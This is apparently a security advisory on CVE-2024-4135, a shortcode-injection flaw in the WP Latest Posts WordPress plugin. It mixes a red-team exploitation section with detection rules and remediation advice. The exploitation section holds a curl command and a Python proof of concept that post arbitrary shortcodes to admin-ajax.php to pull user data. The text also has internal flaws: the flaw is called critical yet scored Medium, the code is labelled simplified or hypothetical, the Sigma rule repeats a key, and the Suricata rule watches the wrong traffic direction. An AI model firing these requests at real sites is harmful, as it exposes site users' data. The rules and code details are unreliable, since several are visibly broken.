CVE-2024-4135

Executive Summary

CVE-2024-4135 is a critical security vulnerability in the WP Latest Posts WordPress plugin, affecting all versions up to and including 5.0.7. The flaw allows an unauthenticated attacker to execute arbitrary WordPress shortcodes by exploiting insufficient validation of user-supplied input before it is passed to the do_shortcode() function. This can lead to unauthorized data access, content manipulation, and potential privilege escalation depending on the shortcodes available in the WordPress environment.

The vulnerability is classified as CWE-94: Improper Control of Generation of Code ('Code Injection') and carries a CVSS v3.1 base score of 5.4 (Medium). While the EPSS score is currently 0.0%, indicating low exploitation probability in the wild, the lack of a confirmed patch makes this a significant risk for all sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As such, it is a supply chain risk for any WordPress site that has installed the WP Latest Posts plugin. Administrators must verify the plugin version and apply any available updates immediately. Since the patch status is unknown, manual code review or disabling the plugin is recommended until a fix is released.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low confidentiality and integrity loss. However, the ability to execute arbitrary shortcodes can be chained with other vulnerabilities or plugins to achieve higher impact.

Deep Dive & Mechanics

The WP Latest Posts plugin provides a mechanism for users to execute actions that involve shortcode processing. The vulnerability lies in a function that accepts user-supplied input and passes it directly to WordPress's do_shortcode() function without proper sanitization or validation.

Root Cause: The plugin fails to validate that the user-supplied value is a legitimate shortcode or that the user has permission to execute it. This allows an attacker to inject arbitrary shortcodes, including those that may read sensitive data, modify content, or execute other plugins' shortcodes.

Attack Vector: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint, supplying a malicious shortcode string. The plugin then processes this string via do_shortcode(), executing the attacker's shortcode.

Example Shortcodes of Concern:

• [user_info] – may leak user data
• [php] – if a PHP execution plugin is installed
• [wpv-post-body] – may expose post content
• Any custom shortcode that performs sensitive operations

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In vulnerable version (<= 5.0.7)
function wp_latest_posts_execute_action() {
    $shortcode = $_POST['shortcode']; // No validation
    echo do_shortcode($shortcode);
}

Patched Code (hypothetical):

// In a patched version
function wp_latest_posts_execute_action() {
    $shortcode = sanitize_text_field($_POST['shortcode']);
    // Validate against allowed shortcodes list
    $allowed = array('wp-latest-posts', 'another-safe-shortcode');
    if (in_array($shortcode, $allowed)) {
        echo do_shortcode($shortcode);
    } else {
        wp_die('Invalid shortcode');
    }
}

The patched version would sanitize the input and restrict execution to a whitelist of allowed shortcodes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Latest Posts plugin <= 5.0.7
• Network access to the site

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wp_latest_posts_execute).
2. Craft a POST request with a malicious shortcode:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=wp_latest_posts_execute&shortcode=[wpv-post-body view=\"1\"]"

3. Observe the output for sensitive data.

Proof of Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "wp_latest_posts_execute",
    "shortcode": "[user_info]"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to admin-ajax.php with action=wp_latest_posts_execute and suspicious shortcode parameters.
• Look for shortcodes that are not part of the WP Latest Posts plugin.

Defense:

• Disable the WP Latest Posts plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests containing do_shortcode or suspicious shortcode patterns.
• Restrict access to admin-ajax.php for unauthenticated users where possible.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with parameter action=wp_latest_posts_execute
• Shortcode strings in request body that are not standard WP Latest Posts shortcodes (e.g., [user_info], [php], [wpv-post-body])

File IOCs:

• Modified WordPress database entries containing unexpected shortcodes
• Log entries showing do_shortcode calls with unusual parameters

System IOCs:

• Unexpected user creation or privilege escalation
• Unauthorized content modifications

Detection Engineering

YARA Rule

rule CVE_2024_4135_WP_Latest_Posts_Shortcode_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-4135 in WP Latest Posts plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4135"
    strings:
        $ajax_action = "wp_latest_posts_execute"
        $shortcode_param = "shortcode="
        $dangerous_shortcodes = /\[(user_info|php|wpv-post-body|exec|system)\]/
    condition:
        $ajax_action and $shortcode_param and $dangerous_shortcodes
}

Sigma Rule

title: CVE-2024-4135 WP Latest Posts Shortcode Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-4135
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wp_latest_posts_execute'
        cs-uri-query|contains: 'shortcode='
    condition: selection
falsepositives:
    - Legitimate use of WP Latest Posts shortcodes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4135 WP Latest Posts Shortcode Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wp_latest_posts_execute"; http_client_body;
    content:"shortcode="; http_client_body;
    pcre:"/\[(user_info|php|wpv-post-body|exec|system)\]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-4135;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the WP Latest Posts plugin until a patched version is released.
2. Apply virtual patching – Use a WAF to block requests containing action=wp_latest_posts_execute with suspicious shortcode parameters.
3. Monitor logs – Review web server and WordPress logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that validates and sanitizes user input before passing it to do_shortcode().
• Implement a whitelist of allowed shortcodes.
• Add capability checks to ensure only authorized users can execute shortcodes.

Workarounds:

• If the plugin is essential, consider forking it and applying the patch manually.
• Restrict access to admin-ajax.php using .htaccess or server configuration.

Valters IT
Securing Digital Frontiers